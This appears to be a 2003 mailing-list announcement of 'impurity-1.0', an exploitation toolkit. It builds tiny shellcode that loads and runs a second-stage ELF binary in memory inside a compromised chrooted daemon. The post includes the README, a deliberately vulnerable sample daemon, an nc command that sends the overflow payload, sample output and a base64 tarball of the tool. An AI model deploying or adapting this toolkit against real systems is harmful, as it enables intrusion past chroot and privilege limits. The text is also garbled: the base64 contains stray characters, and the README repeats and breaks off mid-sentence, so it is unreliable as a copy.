Alexander E. Cuttergo
07/10/03, 21:50
--VV4b6MQE+OnNyhkM
Content-Type: multipart/mixed; boundary="1SQmhf2mF2YjsYvc"
Content-Disposition: inline
--1SQmhf2mF2YjsYvc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Hi,
I enclose the impurity-1.0 release. The README follows. I would like to hear
some comparisons with MOSDEF and InlineEgg; can you guys implement nmap in
your shellcode ;) ?
peace,=20
algo
Impurity-1.0
by Alexander E. Cuttergo <cuttergo@gmx.net>
=09
Concept
Impurity is a set of scripts which make it easy to produce a
shellcode ("first stage") which is able to download over the net an=20
executable ELF file ("second stage") and execute it without writing it to
the disk first. The first stage shellcode itself is almost constant (except=
=20
for one parameter, the executable length) and very short - 46 bytes. Using=
=20
this approach, one does not waste hours composing and debugging a complex=
=20
shellcode - just write a .c program, run impurity (which creates the second
stage ELF binary) and you are all set.
Impurity is mostly useful when exploiting a daemon which runs
chrooted and with dropped privileges; in such case one cannot simply execute
/bin/sh. Compare it with MOSDEF and InlineEgg.
Currently impurity is implemented for Linux/i386 only; however,=20
porting to other OS/architectures should be trivial, provided they use ELF=
=20
standard.
License
GPL v2
Theory of operation
In order to be able to execute an ELF binary easily, we will have to
compile it (more precisely, link it) in a special way.=20
1) In order to not be troubled by shared libraries, we will link the binary
statically.
2) An usual executable text segment is mapped at 0x8048000. In our case,
this area is occupied by the text segment of an overflown binary. We could
unmap() it, but this would make our shellcode unnecessarily large. The
solution - use a linker script which will place the text segment starting at
different address. We will use 0xbfff1000 - it is within the stack, so all
we need to allocate memory for our executable is to do=20
"movl $0xbfff1000, %esp". This also means we will need an executable stack -
this should not be a problem usually. Enhancing shellcode in a way which
allocates memory for our ELF by mmap(...,PROT_EXEC,...) is left as an
excercise for a reader.
Moreover, in order to consequently simplify our first stage shellcode,
command line arguments and environment are not set, dereferencing them will
cause a SIGSEGV most likely. It is easily fixable in the second stage itself
(see tracepath.c example).
3) In a normal executable, the text and data segments are in disjoint memory
areas, with different permissions. This again complicates the loading
process. To avoid it, we will link our ELF executable as impure executable
(ld -N).
4) Binaries linked statically with recent glibc are large. This is usually
not a problem - during the bruteforcing stage of an exploit, we do not need
to send the binary at all to determine whether the correct offset has been
found. Anyway, "diet libc" is recommended - small programs linked with diet
libc are usually in 2k-30k size range. The provided shellcode (bootcode.S)
uses an unsigned short to store the executable length, thus limiting the
ELF binary to 64k (bla bla excercise for a reader bla).
5) The first stage shellcode downloads the second stage ELF binary from file
descriptor 0. It should not be difficult to add code which utilizes "find
socket shellcode", or just creates appropriate socket itself. Excercise,
reader, make bucks by selling this enhancement, bla.
Having 1-5 in mind, executing an ELF is really simple - just read
appropriate number of bytes from fd 0 into memory starting at 0xbfff1000,
and then jump to 0xbfff1074, where the entry point should be. Execve()
demystified ;)
Provided code
bootcode.S - first stage shellcode
bootstrap.c - trivial stub which emits to stdout asm from bootcode.S,
adjusting file length u16 in its body
filesize.c - a helper which prints the file size to stdout
script-ld-impure-into-stack - a proper ld script
tracepath.c - a sample second stage. It is almost a verbatim copy of
tracepath.c from iputils; the only changes are a few lines to
prepare a command line and environment.
shelix.c - a sample program, vulnerable to a buffer overflow. It does
chroot(/var/empty) and setuid(12345), so we cannot break out of chroot nor
execute /bin/sh; also we have no writeable directory to download any
executable to. As an example, we use impurity to produce a second stage=20
based on tracepath, hoping to learn the DMZ layout. Yes, we can use nmap (or
linux_autorooter.0227) as the second stage easily.
Running a sample code
You have to install diet libc (http://www.fefe.de/dietlibc/) first.
1) Run "make"
2) Run "shelix" as root via [x]inetd or "nc -l -p shelix_port -e ./shelix"
3) "make" produces "ovdata" file, which contains buffer overflow payload and
the first stage shellcode, so:
$ (cat ovdata ; sleep 1; cat tracepath; cat) | nc localhost shelix_port
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 2
Shelix: got token length 46
Second stage OK. Which ipaddr should I try ?
c.d.40.1 <- entered from stdin
1?: [LOCALHOST] pmtu 1500
1: x.y.131.57 2.127ms
2?: x.y.20.176
3?: a.b.40.5
4?: c.d.40.1
Resume: pmtu 1500 hops 4 back 4
Again, if you want to use a different second stage, all you need is to comp=
ile
its sources instead of tracepath.c . If attacking a different vulnerable
daemon, you will need to change the overflow payload creation ("ovdata"
target in Makefile), but no need to touch any assembly.
--1SQmhf2mF2YjsYvc
Content-Type: application/x-gzip
Content-Disposition: attachment; filename="impurity-1.0.tgz"
Content-Transfer-Encoding: base64
H4sIAFnWgT8AA+w8a3faSJb5Cr+i4u4kQEBGYDsZY5zx2jjhdG K8GE/PTNpHU0iFUUeoWD1s
Mz3e37731kMqCXB6dzM9Z8823Y2lW/dVt27dR0m0v1imkZ+sWrbV3n32z/m023vtN2/24W+7
/eZgr/BXfZ4Bwl67u9+1bftZ2+7s7+8/I/v/JH0KnzROaETIs5BFtzTYjve18f+jH99c/0/0
C5v5AfvGMtp2u31QWndj/e19W69/d68LC9+29zqd9jPS/sZ6bPz8P19/GgSHZMp5EicRXRL4
ctmSJnMSz1ngPxB+59GEEvSK2P87q1YzXIPM4uLa5R6zeLVy67 qkxQ2uWxCr+fVhDr9SDFwT
VLVcQMpGvj+qVjNVD3OtLbda8XyWEIH3Y9BsTZqxG/nLpBV4LeHrrOWHCW/BqrtfUMt8xgYX
0ooJoiS+W/1ui6DvDEm/gk1VGvRQGdawk7J0Bq9qYx9mZjewNcgcq8pV2ryQ2dJ9B5dRnD QR
EqSAMmdkms5mLKpWliwKSIuRV8sIzEN2dnceup1XFVKpHBPlA0 Af8wUjF6PLeJ3gpwc2/emh
bQPh21dAdZxT+WHMooTwNJIKELDILRPzDXB5qxVrN1f8b9ZuNs VsEn8rMGQLPyEhuw/8kDXJ
/dx358SPAcI85pEEFoNFCz+kCSM7s1uWxDugg7YveAhz57yCn5x p1Q0YDcHBogVpzUgDHLXx
n2Xn1yuV2zZTu/qv3sf/008h/huu+y1liPi/ty3+2wf73X2d/9sH3TbG/zftvd/j/2/x2W1U
SaMQ1whCKpXJHLbUMuK3EV3g7ppFDDYAnyX3NGI9suIpcWlIIu b5sAP8aQq7DbYlDb1dHgkO
C+75sxUC09BjkYg3uDNjwmfi5v3FNXnPwLA0IJfpNPBd8tF3GY QLQU9BPkJh13lkuhIk56jF
ldKCnHPgDNGVhz3CfBiPyB2LYrgXDDpakOLaJDwiNZqg8hHhSy Ssg8YrEkCsyGgtaQJykiZz
HsWHlZOAPbAV+SH9ewjBhN81ydEXcf3HRdyx/DCyqGtF6TEQ7Va/80M3SD1Gjmi82E1WSxZb
82MDHCeez9dAgT8twtIQ7OqV8FbxbszdLywpwiEQpg+7LIr+I2 UpK44BNFwTBzH7tgiD2XjT
NRAE2GTXD4vwiMU8uFvXLPEXbB2alidLoyXdRcYlXP82pAHCQL 3UTcgcHDDh0ar6S7UCKaYy
58u4V62oURR2B34Ts9DD6171sVctkxL4+/lg76ZXxRwFN8skyrHQktTzIgeSA8QASBS9quOk
9gGZ0pg5Sx4BoOryEFIW0nPwjzmjHumTzlvJcpGkcHewDxFMyQ AlHchAfdKyDcgs4gsDFnJH
GpEBsJ1rBNttyuZehFMGTbodkiTB+pyTOznbO+57BDOUc0/9pIacZ14diWeeEzO822AxpK6c
nzl/HYxHtZeAUpf3V4NJbeY1iQYld1ZyB2xc0NHO7lMJaCNfFjA3AZ rXtqRqkovrjx/198vk
Dtg8VsWMI+aC9SKlY1PYE+ZWV4sL44am2gwkcu+gQIEBdw4x2o Xrz/t25ybH9GFNXIJ/ctgi
vkVa+JPDXAVsuAUweoDDHhLwIeY5oB9psOKo9g/8u8WUJVgjYomA47TigCc9PcNEebAYCD3j
ToRZFsfKRQRsGvEvLHQiDoEVRVcBAbw0gRplwRawurWX0jxNoG kSrE/4rCZBdVw/MIoF/zno
zMD4ZWZMPRCwEOBFQhgGC1nwnxPSBdLVwBHfNuovlQXM0QIDHD fJQQJKlUtjACWRbQBnAb2N
lU9pGOy6JOIBQF2pdGmgINqVmkOJDKaHZeAzj65q4H/SFVErMB7goxcCE+nmcNEkn67eO4Px
+N+vB9cDYbQZqSHuEWnXCfimAIgQSvp9Mjh5fzK8qAMYGCZpFG YrB6SVWw4bX60S3IPnV4yF
hVCBKio30Cut/EDfosFRZaExuFF+i54Ed9C6zGNhayv2QxGj6qRlBiyhMWIf99v k5UvhgjCd
gy7eYDxEwI2FUuUMcxWKozglrcTLfCgPuJVKkUAt4WO1UvBdBd aW7ZddLrezBFgQFxCrTf7x
D6JBeSzq65VZk4IGrDwSFoC/C4R8Zjnnnlo8Oa2MvSCVazbDIgHjBCCcon+cD8dXkw9n4xq6
TL0ngon81hgXf87Gm2LAmBTeto7xGzbcHRNTuxp9dIaXaholJK wYEGd46YwHp38C51R4wjlq
2yNXXepydjI5EfzqYqrKHtuFTCYftYDcNxsYqBv1Jxj+QgSJ6P 5mtR0cP3zh/RSSHWkBQxCY
TBBqE8s9heLF7hTCNR/YZ3444z+FO3Xlf7jLlFsJutYxYw6P/FuIysKUzmDgjMbD98ML5+Po
9KTE8EXHe3dIXrTs/RhVAw9okp3PAvHD6GpyI+QYRnqS//D0k1o1kZAoJiS78xYT0qak0YiR
R2HN1FCjXmOvbRGzKlgKObCvl7WTc2d4MZhAbALC1jFucMRvCk FZiKcqwCv/Uk5+3BZhyZj2
IcEJq2FhTZxkCQlsI62iGdae58WJ8gsx15mYbGf/QExWz3bOY3DBhDTmAjqbBWk8h/l6sCel
u8zBALfoV3EyXeFsajXBD9y1PEs1vwK03iTKKpJdHCrlZwWbiD vA3XkRk9qLuA5zmpN3ZN46
nss8dqhsSFWSM4zQ2u8I15hlY2YMydGUB+VYMlzIuCY2DkRcI5 hJ2FH/YE8nDLW5DvZbeTFQ
yTwvIwCPKlHYnT+USYoIsC4mgukXMgto1Of9zCPM2dF4tVgQ8A ecocKtF7RTVEdlbqKI+xWc
DFNBXSitBI4DHeIMt0gW4FsCoXUs7+oNWx4SvK7l5aeBgrdCz2 yZup71ot31FmKtkPsucpCX
L/Cyrg1USB+FOdRE7yvHiUovMhJBI+ryKEqXCVwt6Srg1KuTHT3B +N5P3LkOIqJsEFN1sQQb
TIafBmej68mhoa8OdNOI0S89jQlh92r414GJuMRWAwMsTEuyxz gpaGUTkgOlPYqFR1nC6eji
Yjw4v74anJlSAMeFbltrlXcz+fK/wyWH/ZRXsBWzxTG80AjeUujleDQZmeKeX24I9BIXg/M1
qHhy+uFQl2FfC83gmoBK4CNRdZaz7fIIHjuapUR5OTJriayVqf thq7oQoAxtM4KLrQQnp6eD
qwLuyQZcj81oGiSbPEYVpcTwNbHwcMWj2g4oRKB2GI03JdJipa paNNF1ObC4W5s0X3disPaY
DcCzjF4s69oa+JWnPQ1v1CUZJhrVwUhAs90ETpiA8hZHFGF+v9 0j/pGN369f50FDNIvod14E
UQCrRdUnV2Qbn5XGWNMm0L/XsvqYvFbHAMIqxX5BsjOaBlHfSvSswlWCzBFdEaM0ySKLwTjC
Rbuhpoq7saUPEpoEAlO5OoBWS84iS27yFkrKYyKTfOaceVeDvT WKkZl8o+ZtrRVQ9ftts4sx
hzIpa+1MRTLEpVVXr4ldf3nQ7anYjkslVyk/lJh59Zy5e1ewhU744rYum7Gz0cXkx5PhRM62
lINFvRKxZbDCSTP/DqLw27qIiXrihSk95p6/wUiyQTPrJVwvqAP8gHkm05zlIx7V4OMcIs5e
0pjeshpe1onj0ESdg9ZqIZc0ok7bQiHOaZR8qJhAOahfrnHceM 5EPrfCG3LkwTLgAw2fh8ef
d4/Qk49vVCRgD2Dmlp2dtVR54C2oH4ptDK7jQkEuKq4G3NwJsWvVG 1OHDjNPXfBQXUh/lwyW
CubOccXv52AnguWcLPH4MqlJcSgH5hLO3+2A10KRMBidq15TJE ggUVU0hsJX4avDCq5c4VTM
LoZhHQhJr5KXXiiNtPriJDdEzVEweZ0DpFsKNNDCRreWC4DLgq dkmNnEeWpee1+NTn9wzt6P
Tz7B9tRHAoCZnQjoCCsJVTDGNbClU5lBaEYXPjhrXxexqNIShS aRO49Qs7vP7ZsmebX7Sota
SimNpd6yeezqE5pwv7Z8bedNSwlhDz8wOGdm3Y0lsBam5cxLHd hcTatAtGF2ELrdJZ6u5LOU
5fucYbUtr/dEO8Gx+4EW8/LT5PpseHUKm1ufT+A5uvsFXQY3pOyHm4gLqA7ijqDzhUaIh1mY
4LCbiitQQt+gLNdnTU8LVY32r5CnMDeI+roE6LR/pQTAXJegkiJsyL7dw3151O2Iv2upsaKz
NVwJC6ik9bSKT6hn6pfpZigntCvk7K6RslWayusLM1GZ50Iy78 jE4/GQFcZ1WjJLMyNrHZFN
DXDIZbowo/ljHvWxICQTzskCHwJhnjwkZqEtyxJU5bBENGZxumAZNsmQ5d6S dfOxzLKaUORh
iasQCvhYQJcopviOgkGBKEhTqgXFQrRFAsAjIUhVGK8bDcLCOz/CUC6eVWBOEOFfRnPYv/Fn
fDYi7/0lbl3d4UuUxQo4fLZv+r+0H3vV3Qa55MhJsV1g7oCloiSmISPL AHIWPgGrqPG+IMcC
UTzaqV0N318OLwfgdEPI8+cfzZlcMZdD7pVvBox+sMiP8qm+UI rEc54GHhlCXlyRd2rWsUtD
XOgYrCPxMOigkrDk+HTQ5QtYV4/gawJCLzHj9k1/J0uvOz0FhTnutMLstnPTlyw1oHsDfo3M
T2kQENmD0EDZVDDXWbcr8l8sVuNf/XD3V3wKz/+zV0q+6eP/r73/1d4/OFDP//fedDoH+Px/
f9/+/fn/b/F5+rk0Pm+G6hWhT5eUuokBZPiCgKPqruf9jkgCa4VuKgvdF7F4 uwZrDRFxjSIl
Sy+PghuyljWMfYMnpInMTVk1BsM7G8msOHHE2zvH8kHtZn3OsZ hNIBUEWNdYBF+FxFcX4gVs
eBbhmwOwVSJo3YzX0sz4K0Vm6cfDs9dMNowVmoh/9arnn8L+z2f2TWV8bf8fHNhq/3f22/ie
EOz/dvf3/f9bfKwESoaqdRvwKeQzXHzR8Bcg0BVn97BXoVNg2T0eEPBZNSO EQumBRwF5waYP
TfENLQO/ywHeQ1XxOBQj9+T79sOUTpkalAwPFRWOzWYzcCAbx90HPBNzA3 WpGLuCcbyEaJDG
cznmQQdOvcOScCqJpuT7rrytyI4WxLxtQ+cGsgVY4/4MQcHjuL+h3kinQTYIilagPsgBqI4i
9zKMn0MkR0WkasZ83uyJc4Wq5H6o1bK15FwrtQKAEvJl5VuHjr X9L9/T/fbv/z2x/9902uX9
/6Z78Pv+/y0+qmEQh1PK02r1Zh4I8EbtV7yUuxPPTzYUDl85dUpDbASYh+V 8lCDXXvGARpYK
67n5vb9YMPEiH9DcJnN8rU+8PYxPOcjz7ETcbMflCyLivEQVDb rZeg5DWwRBNQL7MYa2EdTj
/Au0DlAFUBKmiymL8gJFMisKvIddxGq2YbrMcKSVAxE7Q1XjTZi 5CX4J8DJMGr6p1whYSkj5
fPK/u/6F/f/Eq/L/Gx97ev/be92s/u/s77U7gP/mzcHv+f83+YyuJ5fXE+d8NP50MqntsGDW
7bT87tsD8PXCXVU8PiMFYL2qyE/Gpx9qCKpXBxeT8V9qjnT26tUAh5yz4bi2s5vG0S4itSLm
zSn4mXhtNfCnsH/JGuZWOHdpsHFUwrBLP+PknokfBIjXe+VrwDEjeEQF+r+rwkQc5 +wvFyef
hqfioBWnBm381eB0MhxdXEG8IgQYjSF3t3gYrEjMXDx+j5tkAZ 4AjHFvEKyeYOgWz0IOgQEB
MgsZ6rKlTV4TfJY7Onc+DE7OBuOrHqIAMYuWRH8OyS+kUVPQOn lElDmFWoaUURCqELxVGK8W
ZQQJNVCSaBNKEimU2zC11IvPBooBXcdzvE14jrcBM9qIqWVHLI A5Q5dVUE9DcyRqYOVItIQl
Stl1VgKaXVkNeY3qgP994aHLLICawnI+prCMDzUZ0Sc4WTNQcF 0hhJricixTXBHLirj4KUqJ
lYIa1xvnFxXnl/MyBRq8aJEZfYKblalVUCxXa6tSXlGpnI+plKHSdoUKnKwEEStF F8jVSbbq
k5QUWudDDUa0wKnsBSWNpnFcUggg+dhmdaYldcpMaM6FmmzKuh T4WG7Co3htuQTUlJajmQJL
aJa3kZlXZuZtZFZCs2653rwmM4CarHIkk1UByUKrrDPKLL7N4C V751xMSbnFtxq8aO9lsGlW
ADVl5UimrBzJiJECCWCYnwj5YTC4JDWROSAS1gH2SPrthz+05T 9IayhgCMh5G0GzyBuwZMiL
k3RKspi3Fu4E8q4auadR6Ie3WbYkeBA/p6EXYN2/ZK5PA0im0xURZYTFFpbIu0qgwWLjZIyA
usUQImxuor0cj/40PBvg++xMzKtPrHqvMLAFXgSbkdhcMR09s8C5LWYKBHsjua1w 2NyZRXTB
HHyTRmGYMIkGNj/xfob6VbRG+LQCX/jCEgfvhTqqMgEb/8jIPVXPayQR/gKUC+MJ/Bhfk9RM
7v1kjr+KAfgSn8hweR2iIQQgXep1w2rH6kl1BmEMXYNAdZxlxN ArHRpFdCXrQRLQKQuI/GEZ
/oJ0RWggekKhoVTGFc96fChR8Lc2CzxxFa2fIPUYLjC6FmL4nhx T3tYk0zTJZ4TGZxG5F/wA
EBI3YvijUIOEsDuAQ1sIGwybqJjwNMnsMmWELZbJKv+RafgKX2 hiSbIy53/ycfj+otbtkF3y
tuRTG82Q+VJhsLA/zQG53Ft5Yju47szOdqmbRT4h7+vCcFU2C8tHTGE5dE2YwcoUZh V2XSlQ
yb23ced5OkRdjcaT2inU9pPx9elkNL4SUUJztg3Oqko2NmSpFl BlQLJRoJH8Rc42yET20Kl6
Q5ZGHHxqmRXdetMbmmWRTo/Vddntug57cNkycRI6DVg+k/JI3hzQhe+Wpy2hCscoF4pGh92O
P0hPYxbDtkqm7NYPLY7hBdbPk1tMOAKfVRUxwsSv6fBREbBtkl i0aQt81CICB2xCP9bo4rfi
sMv+jbkUxAA5xA34l0J0CjyXRviGYqKx8dwGN+eCJvi6ri9/+Al0UXako1Gpm6QiC6H1Cb2l
GGuMSfSQVCNnQQSZizMhDLDyN+E4W5AHgYFqdK0a6D0B+foWwh zMdcEoBJgEWt/tistA4/kR
c8UvGHO1NAFaIcyzpvKHHK+myrQsMf+Ih9AoQicAfXKHFhLIWT TEFwwy++MLvWLNIvyZiSX/
1wMkDRM/IHSWqF/0xjzCl6GFTEvTTjZyNrhJXvhjLrS+aXAchH5dOt6CRmh9fIoPv rHAtDXF
VAB/i9OvDf58+vH6bOCcDz8OpDmkznVSMIdGF8FAjsDGKw0aFHKjbN sEG2zvbRD2hG6b0KVu
3hbdvKJuP7t5e1+OEDCWBQe+qQoEqKwE5bXEdZiIbiqr51WQho po7DgQxfJQLwK0UXcXzCSD
CozW1Z0Ig5ui4FTF6gbE6U+fRhf/1d61/rZtJPHP2r9iIdwHCZVoSZbjIs49comTC5Bcg/he
vSIIVtTaZi2RKpe0LeD6v9/8ZnbJpaS0OKDIIYAItDCXq33Ma2dmZyb8AjUHSoJmVyqRrw1a
hhHNh8cLdFakab3JiOHdBuEokZKjcZwQ38hgQsD803ZIxPbTOK KUcHhLUA9aAu3Mtsyc2Wys
IfJYNGIKy4Tay7lMm7pqlOGGaQ/qDD9/TpkIx2AXHdHRSBC6IsHuSDta1Dc3sf7daCmEqkWL
m0mgADR7EsGfrbOo06P1FuEtobNktd+Jm3e78YD73XYGpBPDPu 4PyM17/TDkgX7tkDhBgbud
jfjmRnd++c/nH14JyFpwCZKvtutFsYKcZQKLet7sGTcw1arsnimTK6pAEsCAk aF8BYJAMHLi
cR+0rzXR8CQgqVnU1CNNFrePNW73u+XopgN90N7sFZUWwtCcNe h4/dEsn1yZInlkd5bQHnQG
abtGwIbb7yvtOyCeJlOW4PI268xqSpPfHBjJt3dm3dQLmXanb2 jfmbY7kextD4jS3pVCD1mj
wPnFLBalvd//rbR3ujbY2OnaYsM3NGrdTkdR6TrADjy5C+yG4P0URXqwH7V3+q 3NYUT79gaK
V6/fnLx78/6qAednCOfBmruDeGk+dDde5+nB7s2HTnfk8Bzs3nzodL835WHS DB/Q+6sIzPtC
T/f+z5dI+o3n+NX4n9PTpv7POf5G/bfj/d8XeQ5c4/u6IsWn9LYsiopjhv2f/RPioxP2ieCm
zdmqzpaD6ex0fib5J7tBxiSk3A+nsyakmJOICeVtjPGmKkf0fw jY32tfoALR60g/WyLotqd6
0VronUt6DTiDaMa5nVh5zrflkpIiSUqsFQwwsORX+AwULIg+ff PNR8SkSxLTBSdcVKFUQc+v
pv36s2p+yIHAbax79gyZJoh1j+K2r3ypN2jdFWeR+sAFH1dOY1 HDQIb8yNU6dlKne19KSHX4
/8Pl85fvLn/zOX7l/n82O5+19T8niP89nc9nR/7/Ek/vTUQAqrfYalS7Mlyw6zLRL2p4JW4K
/Sz1f/3pZv2Y5Lb6AxjzBRSmTaWaUcRBg9pDiNHhcBLnfRprH1FrjdtC Wd6UxbImE82ophKg
HvSjCoH9YVvbjx1anBbykCPpmosxeZ80io5pZR8tLZH7Xb59Jf 6FQd9FeQX9Iauh0pGXAjc3
/L2IsoFin7Hrl73nmbsLHig4Mw4WLqT+zq6ueX2rdQEnEtxb8LI MxN+mFQRFgewIA8WOIDji
VUerFdEga6NNbX141FjPn+jFtrJkw/3dYXWKPWBkb5aFSW9HPGwTrvRgHO2JdkOmKFk6m4J/
gjFbu8XwF0KvjkA+1nwbwIFG1CNJQ9G3kS7rXAf5oAeCC3Ghu2 DUEHCVQAVAX2S5KbeyFRSI
g32EfAmih6RLI4DWagv/3HW9IjSTiLSPm1UheDB6aeyazCWZk9bh/AnEAR1LRpxelgXZ3kta
b3ZP2CZz4YLrPNZYJjILAaDU5ACPo33QfB736oRWStoO0TcBxJ QNMeh33129vHzFc7zJobRf
3tzQ0l/UZUm2I42QRZvAmBY2JS0CeH7L8SyIcNEIGbkgdDzYe6BcIT0PO yMSLrhO3XdXJ6ZM
bwnoaVUjgcnnuCxQ9ZL2Y1YjIOI+45KWt5ZhxUAGvPMlfIxK9U K9vN7r92/1/YxaiFrhNyT2
ww0Lp4wS6HNdlFyDr8AMgZsCKxD/tOgDg2Yr3Hmw/3Klbw1btwrEA64iWA3WBQGNjsk0Iw6g
vuxKRTAGamWFiz4iym2i1XSo4/mBDt5lUS9WUtnPkSZgkaizKE2Z***OzeOyWc1r87m08N4m
ajbUz3MCS00zRfwUh+QwqRmmEhjaj99O5t/SkZPwguqSyWTk+YoIG929A6mpONgZjqBKsILs
uV6RJPKrSuBi5WsrVec03YDAUPFllDit5QaK5R8mbXmvznObWu do03BHS+YBIVC5YlWzv2DM
aDfBDS0S1bMFA0iyrvYWyp45ZqVKofSFBfmG6z1eL/8ag0ehSmPxwMfXfxz8x556AroKQVUV
vxYpbtPWxKlENSzoaHcRJjInIlur/k4w90QCtvvYLUvPxjseEO9jt+LhfMleQZdnF09MhrML
iRmFHIg69GV+a/KU3TWtvAZxElEKAFXYgtvdAzPDVq+ByyRJRihc8enyX5cvRvQ2 xL5W9prA
SSvPFSR9CT7wNwMI97Zlot4RixTM/VlE/Tgh7E+1CBOWSqiR+dnauCPVyWIjCqmBXycnWZSH
Jw5HEABRHs1lGeW8f/YzAahKPJQGCXhXl6//wVKYY1wBsDeMemF+WsyjoDCPJL1fnJx6auCs
7RQ7JrUBAnGYqFPmeEMLKtcd5hy1lMpHU3RHLd60jH2qP3KaoS BFgTEhEVjkN6S8QYlf58TH
KUSEixw54bK0OaOgLMAZR/SRMun/jUiXDRywaEfMBMxHJGecCPz4wFYDorvxX2mb86H+MwQA
3M3MoAwhL59kwShTQKu9IdGW8gYbJpfLLE+uCqhriXisl3XpUa cXJYloIi2hZcaAiCF/YPIu
liJXwTWKqIwLGbRiE8IP5zC40UpxZItDl08iuZYTx3dxfQ3d7d bAn21z0l5q+Myf51vimpHu
c8Vr7KWPxdNP2KeKI2osmVJBeWgA4tFmK9WAwO8ZuJ7djU8nd5 xwrNnjJ9pWc/BFmmGbmzRU
fOtIENiJKMfGq8IHIOxpWKC9Gutai5IBl3506tGPn8zvaJ6V0f jvMFvjE2H+bPgLWmHQUd0+
60Tz8YUYtFS1tCLWaZoJs2FXtoHms7Re+dgNCdP3RwAdEiuCnd N93LoqKUnQLqXPFW9Zvwt6
G6uPpDFBcvvuws8kMcOOR0o2O5Iza1Gnd46PaRpWIAdBwfKV1Z 8RoELayF/MPT5Px2fALRHZ
cuTRILoob5/phvHP0q9RQDlLJl6dBN2D1lkL9gBb6olE3nqRHR100Uk2Uib3M R8/1mvcAek2
8QbRHDZQSY6U4g3Lm0YDAyhQLmQwJNyst67KrqEQXAxJvXofSJ Mrl7dESds4XNw8yqmhPl63
0xxTJThENXMntAvbn2TOWvbaDj5CshGghI2yZeP9CShWS6DGAI tiuVVtAi/NZTQtYtPcKbNz
QmiSh5AK62Fa9Ytl8kU2YSwCkPRUnTr3nATO6IzpPRwq3joysG 8WJCDXBL0NdFTVi0fhXWcb
ELXjS3hWo5FHwncEbE3oa/vAZyFAhvxxyfU23WzvndMxUcGzGa+0sXPu6xWKUHul2Pii+I2a
x7uAoRW8YK0TTEydjhssRDV4w4OrFXBQES61+fc4FlVQvb0lci E60IMVbTsvxCDjNbXBALEB
bPJtbPNWBYlpJ8cCb4+PBRz3jcUS29xdsaRQQmTJUV4BHVxxwF ssK2tKfxP27t90gpFpR2bx
915PRxVwzAPNVw9oaxzW/8nUtGRYbGUymc3OhzhL9+ShaBswZD7UfGnWYoeZ53syIr35wRF h
OGGaM0gPbqtq8/Tk5OHhIbkmhSdZ2hN8xceToTffYX7Q4LoPWdaH0cBvQhB9rIpx Qlypf3j8
iGKMSwjNfk60stLjjS/6LwVWxlYn3kveh5YjgwawkhiWfzGgzxwWosaaKIcdugoF5EBDq vrc
cQJ6eqp+pwek04R/kOBCu5W1Gz290GhtkMavQ/0fTYvnNAlUcok3oD7rmZx9zZ/mT9T/UkBC
pckymU+Saa/XezbGGWBhfrL4YV+y0tM/PtVRlVC+V+NaH9OzyYQ+P9X6Mdkm09NpcnaOj7Nk
OjtfO6Vn9Et8mtH450+UPqV3kyww35nSc3oLs8sFcaeSCEbnUh 96rrn4x1yp59BrRwhCgEsl
xPCIIt/qwzFbjVjZQ2+2osQM89a7wlnhSNUFuYYgS1xSR3KYBB4pmBVEv/fGNNO0olKJi2Yk
q2pMNszE8lrk9y6psxoCw3YQWEVJISEcY+GfHxqK7UxCMAxZFX DqIJXHOGfXC8iM/7fn9Pgc
n+NzfI7P8Tk+x+f4HJ/jc3y+rue/EpkFWAB4AAA=
--1SQmhf2mF2YjsYvc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="impurity-1.0.tgz.asc"
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iD8DBQA/fl0zP2KVJkEIREsRAsX2AJ9Y41C1YISESNwljA/AoJATxfPKGgCfdMeX
RpOgRZvyoRaHuPIFKnpWsik=
=WzvC
-----END PGP SIGNATURE-----
--1SQmhf2mF2YjsYvc--
--VV4b6MQE+OnNyhkM
Content-Type: application/pgp-signature
Content-Disposition: inline
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)
iD8DBQE/gdkLP2KVJkEIREsRAgXGAJ4vRkH/CRmoA48oHYdR4Z6dprR99QCeJzzD
2rtFkAGUXByd2kCTJiGSIM0=
=kSoO
-----END PGP SIGNATURE-----
--VV4b6MQE+OnNyhkM--
Content-Type: multipart/mixed; boundary="1SQmhf2mF2YjsYvc"
Content-Disposition: inline
--1SQmhf2mF2YjsYvc
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Hi,
I enclose the impurity-1.0 release. The README follows. I would like to hear
some comparisons with MOSDEF and InlineEgg; can you guys implement nmap in
your shellcode ;) ?
peace,=20
algo
Impurity-1.0
by Alexander E. Cuttergo <cuttergo@gmx.net>
=09
Concept
Impurity is a set of scripts which make it easy to produce a
shellcode ("first stage") which is able to download over the net an=20
executable ELF file ("second stage") and execute it without writing it to
the disk first. The first stage shellcode itself is almost constant (except=
=20
for one parameter, the executable length) and very short - 46 bytes. Using=
=20
this approach, one does not waste hours composing and debugging a complex=
=20
shellcode - just write a .c program, run impurity (which creates the second
stage ELF binary) and you are all set.
Impurity is mostly useful when exploiting a daemon which runs
chrooted and with dropped privileges; in such case one cannot simply execute
/bin/sh. Compare it with MOSDEF and InlineEgg.
Currently impurity is implemented for Linux/i386 only; however,=20
porting to other OS/architectures should be trivial, provided they use ELF=
=20
standard.
License
GPL v2
Theory of operation
In order to be able to execute an ELF binary easily, we will have to
compile it (more precisely, link it) in a special way.=20
1) In order to not be troubled by shared libraries, we will link the binary
statically.
2) An usual executable text segment is mapped at 0x8048000. In our case,
this area is occupied by the text segment of an overflown binary. We could
unmap() it, but this would make our shellcode unnecessarily large. The
solution - use a linker script which will place the text segment starting at
different address. We will use 0xbfff1000 - it is within the stack, so all
we need to allocate memory for our executable is to do=20
"movl $0xbfff1000, %esp". This also means we will need an executable stack -
this should not be a problem usually. Enhancing shellcode in a way which
allocates memory for our ELF by mmap(...,PROT_EXEC,...) is left as an
excercise for a reader.
Moreover, in order to consequently simplify our first stage shellcode,
command line arguments and environment are not set, dereferencing them will
cause a SIGSEGV most likely. It is easily fixable in the second stage itself
(see tracepath.c example).
3) In a normal executable, the text and data segments are in disjoint memory
areas, with different permissions. This again complicates the loading
process. To avoid it, we will link our ELF executable as impure executable
(ld -N).
4) Binaries linked statically with recent glibc are large. This is usually
not a problem - during the bruteforcing stage of an exploit, we do not need
to send the binary at all to determine whether the correct offset has been
found. Anyway, "diet libc" is recommended - small programs linked with diet
libc are usually in 2k-30k size range. The provided shellcode (bootcode.S)
